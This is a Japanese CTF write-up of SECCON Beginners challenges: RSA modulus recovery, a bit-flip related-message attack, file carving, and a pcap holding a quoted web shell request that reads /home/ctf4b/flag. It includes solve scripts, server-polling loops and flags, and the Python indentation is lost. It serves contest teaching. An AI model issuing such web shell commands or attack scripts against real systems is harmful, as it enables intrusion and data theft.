2171186836710231490557915027377709613196981290444157658145144060152666975315557482890547021608181740089953697161267940916492109105158766823323989211375818677696992061140315319356207306679772243905829192938741260347377808986771092638435599392531113915650511084251922484475219499706897553361751032034803333329113020710738927897838939563899479491405784117251901404278922079709707454249059406134821875421009067880696817363549680282583536183821482964365714314939371521585275648979673756404830853880675924208987849413053996818488180588125239172341129022040755400729088636933843243027870073645694410886880287449951700817079
The D was 9420534744283375801302248000340318685290127983160713591786548926430557238245169371952949708586165947883033850486929820919044825995720780703685842362524051862544132541182425860408842390675796697149583877770100129705811921102067494040020070178381005190683385202097653053468052242985494572839587526233830522528637093282771770964504798151954515188750819252373962397293570899257962119198764074702651199361269174815502167505416250857584132484047800746810191659306042803350227809278765778042184693738256251418230850013873990895718841883556611941990878805130867924183053866143642546865460328206545695679241893295149353091233

RSAで、フラグの$e$乗、こちらが指定した値の$e$乗、$d$の値を教えてくれる。ただし、$n$は教えてくれない。

$x$を入力したときにサーバーが返す値を$e_x$とすると、$2^e = k_2n + e_2$、$3^e = k_3n + e_3$。$2^e - e_2 = k_2n$と$3^e - e_3 = k_3n$は共通の約数として$n$を持っている。GCDを取ると$n$が出てくる。


solve.py

from fractions import gcd

flag_enc = 2853345979517912107196291689967582868430580603732303310412689382553040361556593825483164854850321428297286903960707364163891863997444878279912616115529615970072378459631952865621729567170548672727527841035290805674885324970382545655687686428489774625314574682749211643292303979249889481681719593492103711960250493105728166479962842248981808864469161899904562463457461457750332177201193188340928097160250440662576354129997683360380687149100521919985563504910467509137126441674747817217617094026083447514945735774253464168996135456940899852752091547255882042316458022335014482101438335607188701603048172603425943444489
e2 = 8636755610729638816374504196078335490943271030872776349961505779487082831774531448042043787659943712506054877112504279407976698170397072703538811198436875626897067222110447440981605637544086385195326147534860385469381766311196342930407393068749727905861632425265125260524772909121558622720754116560709973705679046643690172444657690689335066290055790695708988936203713812583594377415664861413819316407503377084209591275066319503897173330850933749187163068281356921041405061058596759759956159693197346835178562518897394745778628244912675117265414712907287505039043480547440214007709245340270225225341649903981227206867
e3 = 2171186836710231490557915027377709613196981290444157658145144060152666975315557482890547021608181740089953697161267940916492109105158766823323989211375818677696992061140315319356207306679772243905829192938741260347377808986771092638435599392531113915650511084251922484475219499706897553361751032034803333329113020710738927897838939563899479491405784117251901404278922079709707454249059406134821875421009067880696817363549680282583536183821482964365714314939371521585275648979673756404830853880675924208987849413053996818488180588125239172341129022040755400729088636933843243027870073645694410886880287449951700817079
D = 9420534744283375801302248000340318685290127983160713591786548926430557238245169371952949708586165947883033850486929820919044825995720780703685842362524051862544132541182425860408842390675796697149583877770100129705811921102067494040020070178381005190683385202097653053468052242985494572839587526233830522528637093282771770964504798151954515188750819252373962397293570899257962119198764074702651199361269174815502167505416250857584132484047800746810191659306042803350227809278765778042184693738256251418230850013873990895718841883556611941990878805130867924183053866143642546865460328206545695679241893295149353091233

e = 65537
n = gcd(2**e-e2, 3**e-e3)

print ("%x"%(pow(flag_enc, D, n))).decode("hex")


$k_2$と$k_3$がたまたま共通の約数を持つかもしれないけど、小さいだろうから適当に割るか、もう一度繋いで別の値を取得するか。

追記:

もっと簡単だった。

-1を入力すると、$(-1)^e = -1$が返ってくる。$-1=n-1$。

$ nc 133.242.17.175 1337

Encrypted flag is: 8125665037013642323430586958507910278130441074169332406083095045579110017224402446934621493432913700352897471830851255033644535298044877202182914829615282580515617107388610365077743271554041761572436147808697061911869757586390100505819112474177802730977769350858458655888338229232234050785736404821808339147923703260949788980424072502021612745521957987831376480672537819536778174061110587846039099756350174187560224504644486491335263140071420353501700996622305625545454273848182253342843042445665125092723031205571973032592866708908546023204040647857824633917863072835227436485429783333544702306552096778634905780782
> -1
13444970201990482461963121421445869354201661894438079733672194348629036519517373490651864161521347219499021561995909998249430764438669634920389003740274317904858221693328873034894757409899677251298414118290771866491924465951977386135948874837983797446290980475147231893970245800299846429139946102972326048639124876381019238100113012857625004522007152431907432568461254603025417459406045767102387538555843450362068362316873485211295192081484026196261911356949767272271064972397270319987463408965591131299999365813761297607454083539452922299831067103731630716627573520187348346899241693177760302533809456230101072608902
>
Bye
The D was 1050577420455517657013795944263916519872235692226031193312713539822227078084875255895573437465108551063589871659994432168627415729899555982533715125104060027019530239277616595384226508630182144496989161843951397352719001329631752970111451364043441517348308757087278553016183663325076118278616109881765745992031118807169670774599392570947100460212123372554072980788930066064127353936822587616681824677532566126607106756704523394839577826057969205701550535520225535397418491451030353166615362146789772068662415320305255736028619002136139197192974689516222454051599012530954573271705810987182829820626848259478731597313


solve2.py

from fractions import gcd

enc_flag = 8125665037013642323430586958507910278130441074169332406083095045579110017224402446934621493432913700352897471830851255033644535298044877202182914829615282580515617107388610365077743271554041761572436147808697061911869757586390100505819112474177802730977769350858458655888338229232234050785736404821808339147923703260949788980424072502021612745521957987831376480672537819536778174061110587846039099756350174187560224504644486491335263140071420353501700996622305625545454273848182253342843042445665125092723031205571973032592866708908546023204040647857824633917863072835227436485429783333544702306552096778634905780782
enc_m1 = 13444970201990482461963121421445869354201661894438079733672194348629036519517373490651864161521347219499021561995909998249430764438669634920389003740274317904858221693328873034894757409899677251298414118290771866491924465951977386135948874837983797446290980475147231893970245800299846429139946102972326048639124876381019238100113012857625004522007152431907432568461254603025417459406045767102387538555843450362068362316873485211295192081484026196261911356949767272271064972397270319987463408965591131299999365813761297607454083539452922299831067103731630716627573520187348346899241693177760302533809456230101072608902
D = 1050577420455517657013795944263916519872235692226031193312713539822227078084875255895573437465108551063589871659994432168627415729899555982533715125104060027019530239277616595384226508630182144496989161843951397352719001329631752970111451364043441517348308757087278553016183663325076118278616109881765745992031118807169670774599392570947100460212123372554072980788930066064127353936822587616681824677532566126607106756704523394839577826057969205701550535520225535397418491451030353166615362146789772068662415320305255736028619002136139197192974689516222454051599012530954573271705810987182829820626848259478731597313

n = enc_m1+1
flag = pow(enc_flag, D, n)
print ("%x"%flag).decode("hex")


ctf4b{f1nd_7he_p4ramet3rs}


Bit Flip (28 solves, 393 points)


平文を1ビットランダムで反転させる能力を手に入れた!



bitflip.py

from Crypto.Util.number import bytes_to_long

import random

N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
e = 3
FLAG = bytes_to_long(open('flag', 'rb').read())

r = 1 << random.randrange(0, FLAG.bit_length() // 4)
C = pow(FLAG ^ r, e, N)

print(C)


微妙に違う値を暗号化した結果を返しているのが脆弱性。

for i in $(seq 1024)

do
echo | nc 133.242.17.175 31337 >> log.txt
done

でサーバーが返す値を大量に取得する。echoで改行を出力しないと、ncが終了しなかった。

この中には、rが1, 2, 4のものが含まれているはずである。「どうせフラグの末尾は}でしょ?」と思うと、文字コードは7d、2進数で01111101になる。rの値が1, 2, 4のとき、FLAG^rは、それぞれFLAG-1FLAG+2FLAG-4となる。

サーバーが返す値は、r=1のとき、(FLAG-1)**3 = FLAG**3 - 3*FLAG**2 + 3*FLAG - 1。こんな感じの式が3個手に入るので、連立方程式を解けばFLAG, FLAG**2, FLAG**3の値が求められる。どの値がどのrの値に対応しているかは分からないけれど、総当たりすれば良い。


solve.py

N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331

C = map(int, open("log.txt").read().split())
C = list(set(C))
print "len(C)", len(C)

def exgcd(m, n):
if n>0:
y,x,d = exgcd(n, m%n)
return x, y-m/n*x, d
else:
return 1, 0, m

def inv(a):
x, _y, d = exgcd(a, N)
return x%N

def solve(M):
for i in range(3):
p = inv(M[i][i])
for j in range(4):
M[i][j] *= p
M[i][j] %= N
for j in range(3):
if j!=i:
p = M[j][i]
for k in range(4):
M[j][k] -= M[i][k]*p
M[j][k] %= N

D = [-1, 2, -4]
for c1 in C:
print c1
for c2 in C:
for c3 in C:
M = []
for d in D:
M += [[1, 3*d, 3*d**2, 0]]
M[0][3] = c1 - D[0]**3
M[1][3] = c2 - D[1]**3
M[2][3] = c3 - D[2]**3
solve(M)
f = M[2][3]
f = "%x"%f
if len(f)%2!=0:
f = "0"+f
f = f.decode("hex")
if f.startswith("ctf4b{"):
print c1
print c2
print c3
print f
exit(0)


27374234855237385177033764084677159871354774536057757604479691916252324615207758123446963264915815031044431638052160350347527815052247121299271265742624764349645371251059157795088210057056556294646182955583788735697047865187638100015730914218168611562959828761839466910872048139271711524530401443981616512446

64984236260733298551958361453182577618556516057770990233943038713138534988712495930820489031144202288629790971708227035291533154061001445988813702821592803612087382690170116280775134689518372617032094243457151239294081248023278380302055049513388720762494537226626982958434228609171634267135630235741808798162
4495993389057233054669104819895228013763694612950636576313613030061953708666045289462611739903864712274300306123604857478422101725961009347623148217895109944561219191181410272844885949559854431969514213359171314428380411591110688201891433140142428244203455858497045630601463732829643749985152536708095431082
ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMLY

なぜか解けたから良いけど、末尾は}じゃなかったな……。

ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge}


Misc


[warmup] Welcome (596 solves, 51 points)


SECCON Beginners CTFのIRCチャンネルで会いましょう。

IRC: freenode.net #seccon-beginners-ctf


会いに行くと、


19:08 *topic : 競技に関する質問等はこちらで受け付けます FLAG: ctf4b{welcome_to_seccon_beginners_ctf}


ctf4b{welcome_to_seccon_beginners_ctf}


containers (303 solves, 71 points)


Let's extract files from the container.

https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers


$ hexdump -C e35860e49ca3fa367e456207ebc9ff2f_containers | head

00000000 43 4f 4e 54 41 49 4e 45 52 2e 46 49 4c 45 30 2e |CONTAINER.FILE0.|
00000010 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000020 00 00 00 80 00 00 00 80 08 06 00 00 00 c3 3e 61 |..............>a|
00000030 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 |.....sRGB.......|
00000040 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 |..gAMA......a...|
00000050 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 |..pHYs..........|
00000060 6f a8 64 00 00 02 61 49 44 41 54 78 5e ed d2 51 |o.d...aIDATx^..Q|
00000070 8a e3 40 10 04 d1 3d d1 5e 67 0f b5 87 f6 d0 1f |..@...=.^g......|
00000080 06 61 6a 6c 4b 2d 5b 95 1d f1 20 7f 25 e8 8a 3f |.ajlK-[... .%..?|
00000090 37 a1 19 00 9c 01 c0 19 00 9c 01 c0 19 00 9c 01 |7...............|

こんな感じでPNGファイルが固められている。binwalkというコマンドが便利らしいけど、なんか上手く取り出せなかったので、スクリプトを書いて切り出した。


solve.py

d = open("e35860e49ca3fa367e456207ebc9ff2f_containers", "rb").read()

c = 0
for i in range(len(d)-4):
if d[i:i+4]=="\x89PNG":
open("%d.png"%c, "wb").write(d[i:])
c += 1

image.png

画像を読むのが間違えそう。末尾にチェック用のスクリプトが付いている。

特に狙っていたわけでもないし、別に意味も無いが、正解率が100%だった。

image.png

import hashlib

print('Valid flag.' if hashlib.sha1(input('Please your flag:').encode('utf-8')).hexdigest()=='3c90b7f38d3c200d8e6312fbea35668bec61d282' else 'wrong.'


Dump (163 solves, 138 points)


Analyze dump and extract the flag!!


pcap形式なのでWiresharkで開くとHTTPの通信が見える。

GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1

Host: 192.168.75.230
User-Agent: curl/7.54.0
Accept: */*

HTTP/1.1 200 OK
Date: Sun, 07 Apr 2019 11:55:27 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Web Shell</title>
</head>
<pre>
037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166
244 010 010 050 315 002 110 023 024 244 012 330 005 351 012 012
322 024 245 011 202 205 242 202 212 337 204 216 242 357 175 336
365 177 336 265 376 337 372 346 072 316 231 275 177 173 237 175
:

hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/

8進数。


solve.py

A = """037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133

327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166
:
243 140 024 214 202 121 060 012 106 301 050 030 005 344 000 000
050 241 022 115 000 060 014 000
"""

open("flag", "wb").write("".join(chr(int(a,8)) for a in A.split()))


.gz形式なので解凍すると画像が出てきて、フラグが書かれている。

ctf4b{hexdump_is_very_useful}


Sliding puzzle (106 solves, 206 points)


スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。

スライドパズルは以下のように表示されます。

----------------

| 0 | 2 | 3 |

| 6 | 7 | 1 |

| 8 | 4 | 5 |

----------------

0 はブランクで動かすことが可能です。操作方法は以下のとおりです。

0 : 上

1 : 右

2 : 下

3 : 左

最終的に以下の形になるように操作してください。

----------------

| 0 | 1 | 2 |

| 3 | 4 | 5 |

| 6 | 7 | 8 |

----------------

操作手順は以下の形式で送信してください。

1,3,2,0, ... ,2


3x3だし、操作手順を総当たりすれば良いでしょ……と思ったら遅かったので、上に動かした直後に下に動かすみたいな無駄な手順を省く枝刈りだけ入れた。


solve.py

def BT(depth, M, pd):

if M==[[0, 1, 2], [3, 4, 5], [6, 7, 8]]:
return []
if depth==0:
return None

for y in range(3):
for x in range(3):
if M[y][x]==0:
zx, zy = x, y
for d in range(4):
if pd!=-1 and abs(pd-d)==2:
continue
tx = zx + [0, 1, 0, -1][d]
ty = zy + [-1, 0, 1, 0][d]
if 0<=tx and tx<3 and 0<=ty and ty<3:
M[ty][tx], M[zy][zx] = M[zy][zx], M[ty][tx]
r = BT(depth-1, M, d)
if r is not None:
return r + [d]
M[ty][tx], M[zy][zx] = M[zy][zx], M[ty][tx]
return None

def solve(M):
for depth in range(100):
r = BT(depth, M, -1)
if r is not None:
return r[::-1]

from socket import *
from time import sleep

s = socket(AF_INET, SOCK_STREAM)
s.connect(("133.242.50.201", 24912))

while True:
sleep(1)
d = s.recv(999)
print d
d = d.split("\n")
M = [[0]*3 for _ in range(3)]
for y in range(3):
for x in range(3):
M[y][x] = int(d[y+1][x*5+2:x*5+4])
r = solve(M)
assert r is not None
d = ",".join(map(str, r))
print d
s.sendall(d)


> py -2 solve.py

----------------
| 01 | 02 | 05 |
| 06 | 03 | 04 |
| 07 | 00 | 08 |
----------------

3,0,1,1,0,3,3
----------------
| 04 | 03 | 02 |
:
| 06 | 07 | 08 |
----------------

3,3
----------------
| 03 | 01 | 02 |
| 06 | 05 | 00 |
| 07 | 04 | 08 |
----------------

3,2,3,0,0
[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

Traceback (most recent call last):
File "solve.py", line 44, in <module>
M[y][x] = int(d[y+1][x*5+2:x*5+4])
ValueError: invalid literal for int() with base 10: ''

全100問。

ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}